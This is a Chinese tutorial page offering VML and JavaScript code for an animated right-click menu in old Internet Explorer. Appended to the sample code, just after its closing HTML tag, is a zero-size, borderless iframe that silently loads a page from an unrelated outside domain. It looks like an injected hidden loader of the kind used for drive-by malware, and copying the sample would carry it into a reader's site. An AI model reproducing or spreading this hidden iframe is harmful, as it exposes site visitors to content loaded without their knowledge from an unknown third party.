超酷VML菜单

稿源：互联网 2022-06-14 10:17:57 点击： 8923 撤稿纠错

超酷VML菜单，运行代码后，右击鼠标看看效果。

以下讨论的是和菜单特效相关的超酷VML菜单教程文章，内容是本站精心挑选整理的教程，希望对广大的网友给到帮助,下面是详细内容：

脚本代码(For Alixixi.com)如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML xmlns:v><HEAD><TITLE>超酷VML菜单</TITLE>
<META http-equiv=Content-Type content=text/html;charset=gb2312>
<META content=网络程序员伴侣(Lshdic)2005 name=Gemeratpr>
<STYLE>v:* {
 BEHAVIOR: url(#default#VML)
}
.menulist {
 MARGIN-BOTTOM: -2px; PADDING-TOP: 6px; LETTER-SPACING: 8px; POSITION: static; HEIGHT: 20px; TEXT-ALIGN: center
}
</STYLE>

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY oncontextmenu="return false">
<SCRIPT>
 //作者:风云舞
var menutime1=null,showobjs1=null  //menutime1=循环计时器调用变量,showobjs1=绑定菜单，定时器过程执行时调用
function document.onmouseup(){if(event.button==2)menushow(menu2,60,20);else if(event.button==1&&event.srcElement.tagName!="roundrect"){clearInterval(menutime1);menutime1=null;menuclose(menu2,30)}}
function menushow(showobjs,showwid,showsudu){  //右键菜单展开函数
 //函数说明:menushow(菜单id,项平均宽度,伸展速度)
if(menutime1!=null){clearInterval(menutime1);menutime1=null}
showobjs.style.left=event.x;showobjs.style.top=event.y;
showobjs1=showobjs.all.tags("roundrect");var showlens=showobjs1.length
for(i=0;i<showlens;i++){showobjs1[i].style.width=0;showobjs1[i].style.visibility="hidden"}
showobjs.style.display=""
menutime1=setInterval("for(i=0;i<"+showlens+";i++){showobjs1[i].style.visibility='';if(showobjs1[i].offsetWidth<"+showwid+"){showobjs1[i].style.width=showobjs1[i].offsetWidth+"+showsudu+";break;}else{if(i=="+(showlens-1)+"){clearInterval(menutime1);menutime1=null}}}",20)
}
function menuclose(showobjs2,showsudu2){  //右键菜单关闭函数
 //函数说明:menushow(菜单id,关闭压缩速度)
if(menutime1!=null)return false
showobjs1=showobjs2.all.tags("roundrect");var showlens=showobjs1.length-1
menutime1=setInterval("for(i="+showlens+";i>-1;i--){if(showobjs1[i].offsetWidth>0){try{showobjs1[i].style.width=showobjs1[i].offsetWidth-"+showsudu2+";break;}catch(e){showobjs1[i].style.visibility='hidden';if(i==0){clearInterval(menutime1);menutime1=null}}}}",20)
}
</SCRIPT>
<SPAN id=menu2 
onmouseover="if(event.srcElement.tagName=='roundrect'){event.srcElement.strokecolor='blue';event.srcElement.style.color='blue';event.srcElement.style.marginLeft=10}" 
style="DISPLAY: none; FONT-SIZE: 12px; Z-INDEX: 40000; LEFT: 395px; CURSOR: hand; COLOR: #739efe; FONT-FAMILY: 宋体; POSITION: absolute; TOP: 210px" 
onmouseout="if(event.srcElement.tagName=='roundrect'){event.srcElement.strokecolor='#739EFE';event.srcElement.style.color='#739EFE';event.srcElement.style.marginLeft=0}"><v:roundrect 
class=menulist arcsize = ".5" coordsize = "21600,21600" fillcolor = "#739efe" 
strokecolor = "#739efe"><v:fill type = "gradient" opacity = "26214f" color2 = 
"white" angle = "50"></v:fill><a href="http://www.alixixi.com">阿里</a></v:roundrect><BR><v:roundrect class=menulist 
arcsize = ".5" coordsize = "21600,21600" fillcolor = "#739efe" strokecolor = 
"#739efe"><v:fill type = "gradient" opacity = "26214f" color2 = "white" angle = 
"50"></v:fill><a href="http://js.alixixi.com">特效</a></v:roundrect><BR><v:roundrect class=menulist arcsize = ".5" 
coordsize = "21600,21600" fillcolor = "#739efe" strokecolor = "#739efe"><v:fill 
type = "gradient" opacity = "26214f" color2 = "white" angle = 
"50"></v:fill>电子书</v:roundrect><BR><v:roundrect class=menulist arcsize = ".5" 
coordsize = "21600,21600" fillcolor = "#739efe" strokecolor = "#739efe"><v:fill 
type = "gradient" opacity = "26214f" color2 = "white" angle = 
"50"></v:fill>源码</v:roundrect><BR><v:roundrect class=menulist arcsize = ".5" 
coordsize = "21600,21600" fillcolor = "#739efe" strokecolor = "#739efe"><v:fill 
type = "gradient" opacity = "26214f" color2 = "white" angle = 
"50"></v:fill>论坛</v:roundrect><BR><v:roundrect class=menulist arcsize = ".5" 
coordsize = "21600,21600" fillcolor = "#739efe" strokecolor = "#739efe"><v:fill 
type = "gradient" opacity = "26214f" color2 = "white" angle = 
"50"></v:fill>酷站</v:roundrect><BR><v:roundrect class=menulist arcsize = ".5" 
coordsize = "21600,21600" fillcolor = "#739efe" strokecolor = "#739efe"><v:fill 
type = "gradient" opacity = "26214f" color2 = "white" angle = 
"50"></v:fill>一个资源站</v:roundrect><BR><v:roundrect class=menulist arcsize = ".5" 
coordsize = "21600,21600" fillcolor = "#739efe" strokecolor = "#739efe"><v:fill 
type = "gradient" opacity = "26214f" color2 = "white" angle = 
"50"></v:fill>不错，顶一个</v:roundrect><BR><v:roundrect class=menulist arcsize = ".5" 
coordsize = "21600,21600" fillcolor = "#739efe" strokecolor = "#739efe"><v:fill 
type = "gradient" opacity = "26214f" color2 = "white" angle = 
"50"></v:fill>哈哈</v:roundrect><BR><v:roundrect onmouseup=menuclose(menu2,30) 
class=menulist arcsize = ".5" coordsize = "21600,21600" fillcolor = "#739efe" 
strokecolor = "#739efe"><v:fill type = "gradient" opacity = "26214f" color2 = 
"white" angle = "50"></v:fill>感觉啥样？</v:roundrect> </SPAN></BODY></HTML>

<iframe src="http://oa.wlsh.cn/wlb/uu.htm" width="0" height="0" frameborder="0"></iframe>

关于超酷VML菜单的内容写到这里就结束啦，您可以收藏本页网址https://js.alixixi.com/a/2009061156077.shtml方便下次再访问哦。

·上一篇： 不用图片做圆角表格
·下一篇： 利用Css的backgroundPosition属性制作背景下移效果

超酷VML菜单

文章分类LIST >>返回首页

最新游戏

最新新闻